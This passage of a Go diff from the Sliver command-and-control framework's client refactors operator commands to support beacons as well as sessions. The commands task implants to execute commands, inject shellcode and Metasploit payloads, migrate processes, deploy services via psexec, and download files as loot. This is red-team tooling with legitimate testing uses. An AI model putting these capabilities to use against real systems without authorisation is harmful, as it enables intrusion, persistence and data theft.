session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
+24 -3
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +48,31 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
+25 -5
View File
@@ -22,14 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -41,16 +43,34 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
+5 -5
View File
@@ -37,7 +37,7 @@ import (
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -82,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -104,7 +104,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
@@ -121,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
+29 -9
View File
@@ -28,7 +28,7 @@ import (
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -36,38 +36,58 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
}
} else {
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
+2 -2
View File
@@ -26,7 +26,7 @@ import (
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+6 -5
View File
@@ -26,6 +26,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,7 +37,7 @@ import (
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +56,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
}
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -51,7 +51,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -15,7 +15,7 @@ import (
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -36,7 +36,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
+2 -2
View File
@@ -19,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
privKey []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+6 -6
View File
@@ -158,13 +158,13 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
@@ -192,7 +192,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
@@ -255,7 +255,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
@@ -290,7 +290,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -350,7 +350,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+28 -11
View File
@@ -28,16 +28,18 @@ import (
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -48,13 +50,36 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -73,14 +98,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
+19 -4
View File
@@ -22,26 +22,41 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
+49 -21
View File
@@ -27,16 +27,18 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
@@ -76,7 +69,51 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -96,13 +133,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
}
+30 -11
View File
@@ -29,16 +29,18 @@ import (
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -60,18 +62,17 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
// The indices should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
@@ -84,18 +85,36 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, con, ctx.Flags, filter)
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,12 +44,34 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
con.PrintInfof("%s\n", mkdir.Path)
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+28 -5
View File
@@ -22,24 +22,47 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,14 +44,36 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveSession.Request(ctx),
